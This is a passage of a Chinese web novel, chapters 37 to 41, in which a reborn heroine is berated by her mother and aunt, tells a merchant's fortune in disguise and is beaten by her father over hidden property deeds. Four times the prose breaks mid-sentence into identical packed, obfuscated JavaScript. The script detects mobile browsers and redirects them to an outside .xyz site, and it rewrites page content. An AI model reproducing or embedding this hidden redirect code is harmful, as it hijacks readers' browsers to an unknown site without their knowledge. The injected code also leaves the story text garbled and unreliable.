她也站起身来，热情地朝沐毓露招手：“好久不见了，小露出落得越来越漂亮，怪不得能得这么好的一桩婚事。” 她一边说一边走上前来，塞给沐毓露一个镯子：“这是姨娘到京城找人打的镯子，姨娘是个乡下人，没见过什么世面，这镯子你大约也看不上，不过多少是姨娘的一点心意，快点收下吧。” 沐毓露扫了一眼沐晚意腕间的手镯，发现那镯子与蒲昭氏给她的这一只大同小异，便知道她应当是在同一家铺子买的手镯，只不过沐晚意的那只看起来要比她的粗一些，镯上的纹路也要更繁杂一些。 蒲昭氏注意到了沐毓露的目光，当即拉着她往沐晚意的方向走：“小露呀，你小时候就住在外祖父家，姨娘还抱过你呢，晚意就与你不同了，她是在京城出生的，一直待在京城，姨娘都没抱过她，所以给她准备的镯子要稍微大一点，小露可不会生我的气吧？” 她一手拉着沐毓露，一手牵过沐晚意：“姨娘手中没有多余的银两，所以只够打一个大镯子，但凡我手头宽裕一些，那一定会打两个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361956|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镯子的。” 沐毓露尴尬地笑了笑，正要开口说话，却听见一旁的沐昭氏道：“你别惯着她，这孩子忒不懂规矩了，姨娘上门看望，专门给她准备了礼物，她哪里还有挑三拣四的道理？” 沐昭氏的语气里已经隐隐有了怒意，她唤了一声沐毓露的名字：“愣着干什么，还不赶紧给姨娘道歉？” 沐毓露：？？？ 她做什么了就要给蒲昭氏道歉？ 从踏进屋里直到现在，她连一句话都没来得及说，就被她们你一言我一语的扣上了一顶大帽子。 不待沐毓露开口，蒲昭氏又赶紧扮演起了和事佬的角色：“小露不是没说什么吗，道什么歉呀，你呀就是对孩子要求太严格了。” 说完她又不忘捧沐昭氏一句：“不过也得亏你对她们要求严格，这才把两个孩子都教得这么好，我家那两个要是有小露和晚意一半的懂事，我也就不愁她们的婚事了。” 她这话倒是说中了沐昭氏的心事，但见沐昭氏叹了口气，颇为烦忧地道：“小露的婚事倒是有着落了，我现在就只操心晚意的。” 说到这里她又叹了口气，不知是不是想起了之前找人算命时听到的那番话，眉宇间笼罩上了深深的哀愁。 见沐昭氏如此烦恼，蒲昭氏也跟着叹了口气，然后紧了紧握着沐毓露的手：“小露，你已经及笄了，已不是孩子了，可要懂事一些，要替你娘分忧啊。” 听到这里沐毓露的心里升起一股不详的预感，果然，下一秒就听见蒲昭氏说道：“你有了一门好亲事，也要帮衬着你娘亲，多替你妹妹操心些。” “听说你和姑爷不是通过父母相识，也并非媒人说亲，而是自己私下定情？”她一副替姐姐操心的样子：“你是怎么认识姑爷的？可还认识别的男子？能否替你妹妹牵个线，让她也多见见人？” 沐晚意一听这话倒是不乐意了：“我才不要像她那样私见外男，传出去像什么话？” 沐毓露笑了一声：“姨娘你看，可不是我不给她牵线搭桥，是她自己不愿意。” 蒲昭氏拍了拍沐毓露的手：“小露呀，你是做姐姐的，可不能跟妹妹计较。我听说前段时间你和妹妹当众吵了一架？” 沐毓露皱了皱眉。 不用想也知道一定是沐晚意找蒲昭氏告了状，指不定在背后怎么编排自己，想到这个她顿时觉得无比烦躁，闭上了嘴不愿意再说话。 蒲昭氏却是有说不完的道理：“做姐姐的可不就是要让着妹妹？你可千万不能跟你妹妹吵架。小时候你娘就对我可好了，我也最喜欢缠着你娘，在我心里她就是最好的姐姐。” “你呀小时候不在你妹妹身边，也没机会照顾她，现在两姐妹在一起，可要亲亲热热的才好呢。” “小露你想想是不是这么个道理？你很快就要出阁了，到时候两姐妹想要再见可就不像现在这么方便了，一定要珍惜这个时候。” 38. 第38章 沐毓露强忍着心中的不耐烦听完了蒲昭氏的长篇大论，见她说着说着咽了口唾沫，转过头去喝茶水，还以为她终于说完了。 却没想到她只是喝了口水润润嗓子，中场休息了一下，咂巴了两下嘴又开始输出：“我还听说你不常到你娘这里来请安？这可就是你的不对了，姨娘今天必须要说你两句。” 沐毓露心里的白眼都快翻到天上去了，也不知道沐晚意到底给蒲昭氏告了多少状，不来给沐昭氏请安也能怪到她的头上？ 蒲昭氏说教起来没完没了，声音不停地在她耳畔嗡嗡作响：“都说百善孝为先，做子女的怎么能不孝顺父母？不来给娘亲请安，这就是不孝，不是姨娘吓唬你，不孝的人可都是要遭报应的。” “别看每日的请安只是一件小事，你对父母的孝心不就体现在一桩桩的小事上？父母的年纪逐渐大了，你也快要成家立业，能陪在母亲身边的时间也就越来越少了，一定要趁现在多尽孝道，千万不要等到日后再后悔呀。” 蒲昭氏的唾沫星子都快喷到沐毓露的脸上去了，见沐毓露面如死灰，只是木木地听自己说话，没有丝毫反应，她才叹息道：“姨娘也是年纪大了，难免有些啰嗦，你可不要嫌弃。” 这句话听起来像是结束语，沐毓露终于有点活过来了，然而她还没来得及松一口气，又听见沐昭氏接话道：“你说的那些话她要是真能听得进去，那我可就谢天谢地了。” 只要是个正常人都能听得出来沐昭氏话语间的阴阳怪气，沐毓露终于忍不住了，开口反驳道：“我之所以不来给您请安，不是因为您看着我厌烦，不想见到我么？怎么现在倒说得好像都是我的错了？” 沐昭氏冷哼一声，一副你终于忍不住终于暴露本性了吧的表情对沐毓露道：“就算是我不想见到你，你也不想想是为什么？你从前做的那些事情，哪一件不是丢尽了我的脸面？你就算有脸见我，我也没脸见你父亲！” 沐毓露原本是想忍的。 前几日风问棠来求她办件事，说他的好兄弟齐知止想插个队找她算命，风问棠既是她的朋友也算她的投资人，她自然是要给他这个面子的，于是挑了这么一天得空的日子，挤出上午的时间留给齐知止算命。 正因为今日有要事在身，所以她才不打算同蒲昭氏她们掰扯，否则不知道要折腾到什么时候去，于是她从一开始便做好心理建设，一定要忍让她们，不管她们说什么都不回嘴，等她们说完了也就罢了。 却没想到她的忍让换来的是得寸进尺，什么样的话都砸到了她的头上，什么样的过错都想让她担着。 她咽不下这口气。 既然已经回嘴了，那就索性撕到底：“我做了什么事？我不就是想要嫁给一个好人家吗？” “您对沐晚意倒是有操不完的心，天天张罗着想要给她找一个好夫家，但凡您将这些心思分一点到我的身上，我至于这么上蹿下跳地当丑角，出尽了洋相想要嫁到王府去么？” “您总说我不知廉耻，那您又何尝教过我什么叫做羞耻？您有没有教过我作为一个女子应当如何爱惜自己？您当然没有，因为您连见我一面都不肯，您看见我就烦，所以我变成现在这个样子，都是拜您所赐。” 这些话显然激怒了沐昭氏，她疯了一样冲下来，抡圆了胳膊给了沐毓露一巴掌，沐毓露的半边脸瞬间就红肿了起来，饶是这样沐昭氏犹不解气，一把攥住沐毓露的头发，迫使她抬起头来，扬起手还想给她一巴掌。 蒲昭氏终于在这时候扑了上来，将沐昭氏与沐毓露分开：“姐姐，小孩子家不懂事，你莫要气坏了自己的身子。” 说着她扭过头扫了沐毓露一眼：“方才还说你长大了该懂事了，现在却跟你娘这般顶嘴。” 沐毓露在心云的搀扶下站稳身子，冷笑了一声道：“行了，姨娘你也别挑拨了，今日我们母女相斗有你一半的功劳。” 沐晚意在这时候也冲了过来：“我说你别太过分了，跟个疯狗一样见人就咬，你自己不争气惹人讨厌，关姨娘什么事？” 沐毓露冷冷地注视着她：“怎么，连你也想动手打我是么？” 沐晚意愣了一下。 她原本确实是想推沐毓露一把的，但是在沐毓露如此冰冷的目光的注视下，突然有点不敢伸手了。 沐毓露扫视了屋中几人一圈，把所有想说的话都咽了回去。 没有必要跟这些人多说一句话。 她最后只是对沐昭氏道：“娘，您应该感谢我没有如您所愿嫁入穆王府，否则您今天对王府的人动手，我就算是彻底跟沐府撕破脸告上公堂，也要治您一个不敬之罪。” 这回轮到沐昭氏气得翻白眼，她踉跄着往后退了几步，一句话都说不出来，只是伸出一只手哆哆嗦嗦地指着沐毓露。 蒲昭氏一副呼天抢地的样子，扑上去搀扶住她，顺便还挤了两滴眼泪：“哎哟，我可怜的姐姐哟，怎么被自己女儿逼成这个样子？” 她这是犹嫌不足，觉得眼前这场闹剧还不够大，拼了命地继续煽风点火。 沐晚意这团火果然下一秒就被她给点了起来，她扬起手想要给沐毓露一巴掌，可手刚抬起来就被沐毓露牢牢钳制在了空中。 “母亲方才打我时我不还手，是因为我从她的肚子里爬出来。”沐毓露说完这句话一把将沐晚意推开：“你又算什么东西，敢跟我动手？” 沐晚意没有想到沐毓露的力气竟然有这么大，被她一把推开之后，她也踉跄着往后退了好几步，直到撞到了桌子上才停了下来。 沐毓露定定地注视着她：“沐晚意你给我听好了，以后要是再敢跟我动手，我就拿鞭子抽你。” 沐昭氏一边抚着心口，一边抬头冲沐毓露吼道：“滚，你给我滚出去！” 沐毓露点了点头，不再说话，转过身头也不回地走了出去。 心云紧随其后，一边跟在沐毓露身后快步地走，一边小声地为她抱不平：“蒲姨娘真是好厉害的一张嘴，她摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361957|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明了见不得夫人过得好，也见不得夫人的女儿比她的女儿嫁得好，所以才在这里挑拨离间。” 说着她叹了口气：“怎么夫人偏偏就是看不透呢？分明夫人与小姐才是至亲骨肉，为何她偏帮着外人欺负小姐呢？” 沐毓露倒是没想到心云能有这些感慨，更没有想到她还能有这样的见识，于是停下脚步回头看了她一眼，然后冷声道：“连你都能看得出来蒲姨娘的心思，偏偏母亲就是看不出来。” 她反而不像心云那般愤愤不平，而是颇有些意味深长地笑了笑：“可见我们这一家子都是德不配位，以后若是有人将沐府的荣华富贵都收回去，那也是我们该得的。” 心云吃了一惊：“小姐，你怎么说这样不吉利的话？” 沐毓露摇了摇头，不再多说什么，回到自己院子里稍做准备，带着心云悄悄地溜出了沐府，往算命的小铺子去。 答应了风问棠的事儿她不能食言。 所幸今天上午在沐昭氏那里并没有耽误太长的时间，沐毓露二人赶到铺子时，还没有到与齐知止约定的时辰。 沐毓露赶紧趁这个时间换了一身行头。 心云给她戴面具时手上的动作微微停顿了一下，她望着沐毓露脸上的伤心疼地道：“小姐，你脸上的巴掌印还没有消，这半边脸都肿了。” 沐毓露毫不在意地将面具戴上，木质的面具碰到红肿的脸，疼得她呲牙咧嘴地直呼痛。 强忍着疼痛将面具罩在脸上，她一边布置桌案，一边宽慰心云：“没事的，戴上面具就看不出来了。” 心云张了张嘴，欲言又止。 她是心疼沐毓露脸都肿了还要戴上这个不透气的面具，每次沐毓露给人占卜所耗的时间短则半个时辰，长则一两个时辰，这么长的时间里她都不能取下面具，该有多憋屈？ 她本来想劝沐毓露取消这次占卜，她代沐毓露向齐公子致歉就是，现在最要紧的是赶快处理一下脸上的伤，让它快点消肿才是。 却没想到沐毓露对此毫不在意，心云也就不好再说些什么了。 这是她第一次意识到，沐毓露其实一点都不心疼她自己。 沐毓露自是不知心云在想什么，她手脚麻利地将桌案布置好，然后从随身携带的布袋子里取出一串铜钱：“好了心云，这里没什么事儿了，你先回府去替我看着院子，我担心今日同沐晚意她们吵了一架，这丫头给我生出什么事情来。” 心云应了一声，转身从后门走了出去。 沐毓露在桌前坐下，轻轻拨弄着桌上的那串铜钱，开始等待着齐知止的到来。 铜钱在她指尖旋转，发出清脆的声响，沐毓露则低着头注视着它们，有些出神地计算着日子。 再过两日朝廷就会开始回收这些铺子，她需要在这两日做好准备，让风问棠寻一个可靠的人代她出面，将这些铺子统统卖出去。 因此今天应当是她最后一次给人占卜，齐知止便是她的最后一位客人了。 39. 第39章 沐毓露想这些事情想得太过出神，全然没有注意到时间的流逝，等她终于听到有人唤她时，一个身着绛红色衣袍的男子已经倚在门框边，轻摇着手中的象牙骨扇，在阳光底下似笑非笑地看着她。 他身上的衣袍虽为红色，却并不俗气，反而衬得他肤色白皙。阳光从他背后斜斜地照进来，为他周身镀上了一层金边，连带着那绛红色的衣衫也仿佛燃烧起来了一般。 这样清隽却又满身富贵气的公子，无疑就是齐知止。 他看起来清风朗月，是个谦谦君子，嘴巴却是十分的毒：“先生的耳朵似乎不怎么好？” 沐毓露定了定神，将铜钱一枚枚拾起，然后抬手示意齐知止进屋坐下。 齐知止缓步走入，衣袂翻飞间带起一阵若有若无的沉香气。 他在沐毓露对面落座，将手中折扇“啪”地一收，露出一双含笑的眼睛：“在下齐知止，早就听闻先生卜卦极准，特来请教一二。” 沐毓露隔着面具望着他：“不知公子想算些什么？” 齐知止微微一笑：“我是个生意人，想算的自然是生意场上的事。” 沐毓露点了点头，将铜钱一字排开，然后取出三枚推到齐知止面前：“公子具体想问生意场上的什么事儿，劳您说具体些。” 齐知止伸出手，修长的手指轻轻抚过铜钱的边缘，思索了一番后他突然倾身向前，直接问道：“我们齐家的生意在朱雀国已经做得足够大了，我打算将生意发展到玄武国去，不知此行吉凶如何？” 沐毓露在心里嚯了一声，这齐公子当真是好大的志向，他们齐家把控着朱雀国近半数的商业版图，就这样还嫌不够，还想把生意做到别国去。 不过说老实话，齐知止的确是一个经商奇才，此番将目标定在玄武国，他一定是做过很多功课的。 毕竟对于商人而言最重要的技能并不是察言观色，也不是能说会道，而是犀利的政治眼光。 当前最为强大的四个国家，除却朱雀国之外，便是玄武、青龙、白虎三国，齐家若是想发展跨国生意，定是从这三个强国当中做出选择。 而这三个国家自然也有强弱之分，目前综合实力最强的是白虎国，最弱的便是玄武国。 但是做生意，又并非仅仅看重国家实力强大与否，而是要综合执政者行事风格、当前所推政策、国民素质风气等一并考虑。 虽然目前玄武国是几大强国中综合实力最弱的一个，但若是将目光放长远了去看，就会发现它是其中最有潜力的一个。 玄武国国君这两年病重不起，由于此前并未立下太子，因此在他刚病重时朝中便开启了新一轮的皇位之争。 这两年玄武国正处于激烈的内斗之中，无暇顾及其他，不过沐毓露知道，很快这一场内斗就会尘埃落定，以皇女姜望舒登上皇位，成为有史以来第一位女君宣告结束。 这姜望舒可了不得，真可谓是文能提笔安天下，武能上马定乾坤，既是千年难遇的治世之才，也是在战场上用兵如神的军事奇才。 她若不是这样厉害的人物，想来也不能笼络一众大臣，收服人心，结立党派，从一群皇子当中杀出一条登基之路。 姜望舒成为新一任玄武国君，可以说是半年后的一桩大事，就连向来不知天下之事的沐毓露都对此有所耳闻。 当然了，她也是从穆衾寒处听说这件大事的。 彼时穆衾寒已经迎娶了柳闻霜，怕她在府中闷得慌，他每日回府都会同柳闻霜说起今日的新鲜事。 沐毓露就是在给柳闻霜奉茶的时候听见穆衾寒说起这桩事的。 “其实早在两年前我就已经开始关注玄武国的皇位之争了。”穆衾寒言语之间对姜望舒颇为忌惮，但同时也有掩不住的欣赏：“若是那几位皇子当中的某一位登上了皇位，那么玄武国将不足为惧。” “但偏偏是姜望舒登基，她很快便会颁布新政，这个腐朽的国家就要焕发出新的生机了。” 柳闻霜好奇地问：“那么王爷能否推测，她将会颁布什么新政？” 穆衾寒目光如炬：“首先她会拔除在朝中势力根深蒂固的旧党，然后在重农耕的同时大力发展商业。” 沐毓露犹记得说到这里时穆衾寒语气里的不甘与遗憾：“这也是我一直想做，却迟迟未能推进的事。” 从上一世的记忆中回过神来，沐毓露不动声色地望向坐在对面的齐知止。 想来这位经商奇才也如穆衾寒一般早在很久之前就关注到了玄武国的皇位之争，只不过商人重利，他关注的重点和穆衾寒并不一样。 倘若姜望舒登基，玄武国气象一新，定会开放与别国的合作，他在这时将生意做到玄武国去，便是借了新政的东风。 但是倘若她夺位失败，以那几位皇子以及朝中旧党的行事风格，不说推行新政，他们甚至极有可能闭关锁国，齐家在玄武国的生意自然也就做不成了。 所以齐知止问她将生意做到玄武国去，此行吉凶如何，其实也就是在问玄武国的内斗之争何时结束，结果究竟如何。 想通了这一点，沐毓露气定神闲地对上齐知止的视线：“请公子想着所求之事，然后掷出铜钱。” 齐知止照做。 铜钱在几案上旋转，最终停下，沐毓露和齐知止同时垂首去看。 见那铜钱两正一反，沐毓露抬了抬手，示意齐知止再掷。 如此又掷了两次之后，沐毓露将案上的铜钱一收，抬起头佯装观察齐知止的面相。 齐知止好奇地问：“如何？” 沐毓露这才收回目光，轻轻点了点头：“卦象显示前路虽然未卜，但终得云开月明，若能等待时机，可成大事。” 停顿片刻，她又补充道：“我看此事差不多在六个月内便可见分晓，公子可提前筹备，如此便能无虞。” 铺子里一时安静下来，沐毓露能感觉到齐知止的目光在她脸上逡巡，仿佛要看穿什么。 半晌，他开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361958|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重复了一遍：“果真六个月内便可见分晓？” 沐毓露当然知道他为什么要这样问。 皇位之争历来残酷，玄武国朝中局势瞬息万变，就连穆衾寒都不敢确定六个月后他们便能决出胜负。 但是沐毓露能够确定。 谁让她已经活过一回。 她笃定地点了点头：“卦象所示，最多六个月，即见分晓。” 齐知止见她如此笃定，颇为欣赏地靠近了她，取出一锭银子放在桌上：“先生果然名不虚传。” 沐毓露不动声色地后仰，与齐知止拉开距离，手上的动作却很是麻利，迅速地将银子收进了自己袖子里：“那就祝齐公子此行顺利，旗开得胜。” 卦算完了，她自然也就开始赶客了。 然而齐知止似乎并不急着走，他仍旧饶有兴味地注视着沐毓露，修长的手指有一下没一下地敲击着扇骨。 他就这样目不转睛地看着沐毓露，直盯得她心中发毛，不自然地咳了两声，沐毓露的语气里多了一些责怪之意：“齐公子可还有什么想问的？” 齐知止摇了摇头，忽然用扇尖轻点了一下她的手腕：“我只是突然发现，先生的这双手似乎比寻常男子纤细得多。” 沐毓露猛地抽回手，宽大的袖口却被他用扇子轻轻一挑，露出半截雪白的手腕。她心头大震，连忙拉下袖子，抬头时却发现对方眼中已盛满笑意。 沐毓露恼怒地瞪着他：“齐公子你……” 不待她将责备的话说出口，齐知止便开口打断了她：“京城里眼尖的人可不少，小姐的伪装可得做得再仔细些才行。” 齐知止的声音很轻，但这句话犹如惊雷炸在沐毓露的耳边，炸得她心中又是一震。 他看出来了？ 他什么时候看出来的？ 而且看他的眼神，听他言语间的意思，他不仅仅看出来她是女儿身，甚至猜到了她的真实身份。 她下意识抬手抚上面具，开始在心里疯狂复盘。 自己究竟是在哪一步暴露的？ 似乎猜到了沐毓露心中所想，齐知止一边含笑注视着她，一边漫不经心地把玩着手中折扇：“那日小姐在天下第一楼抛绣球，鄙人也在现场，听见了小姐说话的声音，也见到了你在心烦意乱时会有的小动作。” 说着他垂眸望向沐毓露的指尖，她则连忙松开搅动着衣袖的手指。 是了，他是天下第一楼的少东家，那日沐玉罡包下了整座楼，他在现场也很合理。 那日他听见了她的声音，也见到了她的各种动作，作为一个顶尖的商人，记得这些细节同样合理。 想到这里她不由冷汗直冒，尽管她有所伪装，说话时也刻意压沉了声音，但这些伪饰如何能够逃过齐知止的眼睛，恐怕在开口说第一句话的时候，他就已经认出她来了。 见沐毓露不说话了，齐知止站起身来，转身向门口走去。 沐毓露连忙唤住他：“齐公子留步！” 40. 第40章 齐知止顿住脚步回首望她，虽然隔着面具看不见她的脸，但他就是能够猜出面具之下她有着怎么样的表情。 不知道为什么，想到她那精彩的表情他就莫名心情大好。 啪地一声将折扇重新展开，他轻轻地摇晃着，慢条斯理地道：“我知道小姐想说什么，你放心吧，我不会将此事告诉任何人。” 他刻意压低了声音，笑得颇为轻佻：“这是你我二人的秘密。” 沐毓露虽然对他有些恼怒，但他的承诺多少还是让她松了口气。 见沐毓露放松了许多，齐知止不再多说什么，摇着折扇走出门去，很快消失在了街角。 等他走远之后沐毓露才摘下面具，轻轻地揉搓着那半边红肿的脸。 她在心里乱乱地想，还好今天是最后一次占卜，还好此前她并没有暴露，也还好齐知止不是一个多事的人，他又是风问棠的好友，应当会信守承诺，不会暴露她的身份。 她抬手抚上心口，给自己顺了口气。 只要平安度过这两日就好，两天后她立马将所有的铺子出手，然后就可以着手准备离开京城的事情了。 便在这时心云冲进了铺子，气喘吁吁地扶着门框，抬头时满眼的惊慌：“不好了小姐，我们藏在院子里的屋契被老爷发现了。” 沐毓露才放下去的心又提了起来。 她猛地站起身来，“我们藏得这么隐蔽，他是怎么发现的？” 心云方才跑得太快，此刻有些脱力，她踉跄地走进屋子，让沐毓露赶紧换衣服回府：“小姐所料不错，我刚回院子就发现二小姐带着人在房间里翻东西，默合想要拦他们，被二小姐带来的小厮打了一顿，然后那些屋契就被他们从树底下挖出来了。现在老爷在府里发了好大的火，让你立刻回府去。” 沐毓露怔怔地听着，任由心云哆哆嗦嗦地给自己换衣服。 她将屋契藏在院子里的树底下，防的就是有人翻她屋子发现这些屋契，因为屋契的数量实在太多，她也不好一直随身带着，所以才想出了这么一个办法。 寻常人就算是搜屋，也不可能翻到树底下去，沐晚意是如何知道她将屋契藏在树下的？ 思索间心云已经给她换好了衣裳，见沐毓露还怔怔地站在原地，她着急地催促道：“现在管不了他们到底是如何发现屋契的了，总之一翻到那些屋契，二小姐立马就拿着它们去找老爷，今天老爷真的是发了好大的脾气，小姐要是再耽搁时间，只怕是要掉一层皮的呀。” 沐府的人都知道沐玉罡发起火来是什么模样，因此心云所说的掉一层皮倒还真不是夸张的说法。 沐毓露刚被接到沐府来的时候还不大懂得规矩，以为住在京城的宅子里也可以跟住在乡下的外祖家一样随性，一日她追着看家的狗从狗洞里钻了出去，恰好被沐星子看见，她转头就向沐玉罡告了一状。 大白天的从狗洞里钻出去，还被街上许多人看到，哪里有一点大家闺秀的风范，想来早在那个时候，沐玉罡夫妇就已经开始厌弃像野孩子一样的沐毓露了吧。 那天沐玉罡也是发了好大的脾气，直接将沐毓露吊在树上打，就连心云也受她连累被吊了起来，主仆两人就这样在树上吊着吹了一夜的冷风才被放下来。 这就是沐玉罡教养女儿的方式，他向来信奉棍棒底下出孝子这一套，对待不守规矩的沐毓露自然更是如此。 刚开始沐毓露还很畏惧，小心翼翼地注意自己的一言一行，生怕一不小心就要挨打。可后来她发现自己挨打的规律并不可控，很多在她眼里很小的事情也能被沐玉罡无限放大，最终还是逃不掉一顿毒打。 也许是她觉得无所谓了，也许是她被沐玉罡给打皮实了，后来她索性开始挑战沐玉罡的权威，动不动就上吊跳湖闹自裁，沐玉罡反而一时拿她没有办法。 但是今天这件事情不同，不是跳一次湖上一次吊就可以解决的。 她忍不住开始想，倘若沐玉罡收走了她的屋契，她又能怎么办？ 真的一纸诉状告到衙门去？ 怎么可能。 若真要这样做，只怕她还没有走出沐府的大门就已经被打死了。 想到这里她突然觉得十分荒诞。 原来想要杀人不触犯刑律，只需要成为父母就可以。 心云已经急及得快要哭出来了：“小姐，我们快走吧。” 沐毓露抬头深吸了一口气，将双手紧紧地攥进了袖子里，抬步向沐府走去。 刚踏进沐府她便感受到了府里弥漫着无比紧张的气息，就连来给她开门的小厮都低垂着头不敢抬眼，一副惊惧恐慌的样子。 看来在她没有回府的这段时间里，沐玉罡发起火来又殃及池鱼了。 见不到她就先拿身边的奴才出气，这也是沐玉罡一贯的作风。 沐毓露原本还紧绷着，不想流露出一点怯场的情绪，可是在进入主厅前路过庭院时，见到被倒吊在庭院树上的默合时，她一下子就忍不住了。 快步冲进厅中，她瞪着眼睛，对坐在正中央的沐玉罡怒目而视。 沐玉罡跟前跪了一地的丫鬟小厮，个个跟鹌鹑似的缩着脖子耸着肩，也不知已经挨了多久的骂，见到沐毓露回来，他们纷纷都松了口气。 好了，今日这场闹剧的正主来了，他们终于解脱了。 沐玉罡的火力果然在见到沐毓露的下一秒就转移到了她的身上，他收回手，重重地将杯盏砸在桌上，“你给我跪下！” 沐毓露原本梗着脖子不想屈服，可是想到还被倒吊在庭中的默合，她还是扑通一声跪下了。 “不管父亲觉得女儿犯了什么错，那都是我自己的主意，同我的丫鬟无关。”她虽然是跪下了，却将头仰得很高，“还请父亲先将默合放下来。” 沐玉罡气得满脸通红，一张口倒是声如洪钟：“今天别说是默合了，就连你身边的心云也得跟你一起被吊起来打！” 心云瑟缩着跪在地上，往沐毓露的方向靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361959|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了靠。 沐毓露一把将心云护在身后，“我说了，我做的事情她们都不知情，父亲有什么话问我就行了。” 沐玉罡点了点头：“你是不是还觉得自己特别大义凛然啊？” 他将桌上的屋契甩到沐毓露的脸上，“这些东西怎么来的？谁给你买的？” 屋契纷纷扬扬地砸在沐毓露的脸上，她却连眼睛都没有眨一下，“是我自己买的。” 沐玉罡冷笑：“你哪来的银两置办这么多的房产？说，谁给你的银子？” 沐毓露矢口否认：“没人给我银子，是我自己攒的。” 在一旁看戏的沐晚意这时候开腔了：“你每个月可以领的银子就那么一丁点儿，就算是从十年前就开始攒，也攒不下这么多银两，你忽悠谁呢？” 沐毓露本来想说原来她也知道自己每个月只可以领那么一点银两，只能苦哈哈地守着那一点钱过活，不像她每个月除了可以领取生活费之外，还可以从沐昭氏那里领一笔体己钱。 其实有些事情即便没有宣之于口，大家也都心知肚明，譬如沐昭氏名下的那些房产地契珠宝，还有早年间沐玉罡发家的时候分给她的一些铺子，这些东西她能留多少给沐毓露？到时候还不是大部分都充给了沐晚意做嫁妆。 反正沐毓露是从未指望过这些的。 她一没偷二没抢，只不过是想要靠自己的本事赚一笔钱，她是做了什么伤天害理的事情吗？ 而且她之所以能够利用信息差挣到这一笔钱，还是因为她曾经凄惨地死过一次，这算得上是她的血汗钱了吧？ 他们到底要怎样才肯放过她？ 脑子里在一瞬间闪过了这么多的想法，最后她却是闭紧了嘴，一句话也没有说。 今日会有这场祸事，归根结底是因为上午与沐昭氏发生冲突时她没有忍耐，现在她固然也可以逞一时之快，但是默合还在外面的树上吊着，心云也跪在自己身后，她此刻若是顶撞了回去，沐玉罡发起火来第一个收拾的便是默合心云。 她们是受她连累，她又怎么能不管不顾。 没想到见沐毓露不说话，沐玉罡反而更加生气，他站起身来，四处张望了一番，然后从一个丫鬟手中夺过鸡毛掸子，走到沐毓露的跟前，“我再问你最后一遍，是谁给你的银子让你置办这些铺子？” 风问棠在这时候上前一步，却被沐毓露一个眼神瞪了回去。 她坚决地回答道：“您就算再问一千遍我也是这个回答，没有人给我银子，都是我自己攒的。” 话还没有说完，鸡毛掸子就落在了她的背上。 沐玉罡看起来当真是气急了，动起手来毫不留情，鸡毛掸子都快在空中挥舞出残影了。 心云鼓起勇气扑上去拦，“老爷别打了，置办屋契的银两是我和小姐一起攒的，我们变卖了所有的首饰，这才攒下了那些钱。” 沐玉罡不管不顾地继续抽打着，几棍子砸在心云的脸上，顿时打得她满脸都是血。 41. 第41章 沐毓露挣扎着想要护住心云，却被沐玉罡一脚踹开。 他气喘吁吁地用鸡毛掸子指着心云，“来人啊，给我把这个贱奴才拖出去打四十大棍！” 沐毓露扑过去一把抱住沐玉罡的双腿，“您要打就打我，别打心云，她只是一个小丫头她懂什么？” 沐玉罡又是几棍子抽在沐毓露的背上，“你以为老子不敢打你？她算什么东西？她是老子花钱买来的奴才，我想怎么打就怎么打。” 手中的鸡毛掸子已经被打弯了，沐玉罡犹不解气，劈头盖脸地对着沐毓露又是一顿打。 沐毓露倒是不躲不避，指望着沐玉罡打够了就能消气，现在她心里的想法只有一个，只要他能放过心云，怎么打她都可以。 没想到沐毓露越是不说话，沐玉罡便越以为她是在挑衅自己，他气急败坏地加大了手上的力气，居然硬生生将那根鸡毛掸子打断了。 一时间鸡毛满天飞，沐玉罡脱力地往后一退，一屁股坐到了地上。 沐昭氏和王姨娘赶紧上前去扶，却被他一把推开。 他自己吭哧吭哧地从地上爬起来，见沐毓露已经被打得皮开肉绽，却还是紧闭着苍白的嘴唇，一句话也不肯说。 “你说句话，我叫你祖宗成不成？你说一句话！”沐玉罡突然间觉得自己拿她一点办法都没有，这种感觉让他很不快，“是我们做父母的对不起你吗？是我们虐待你了吗？” 他一把攥住沐毓露染血的衣领，“你在沐府是吃不上饭了吗？要攒钱去买这么多的屋契？” 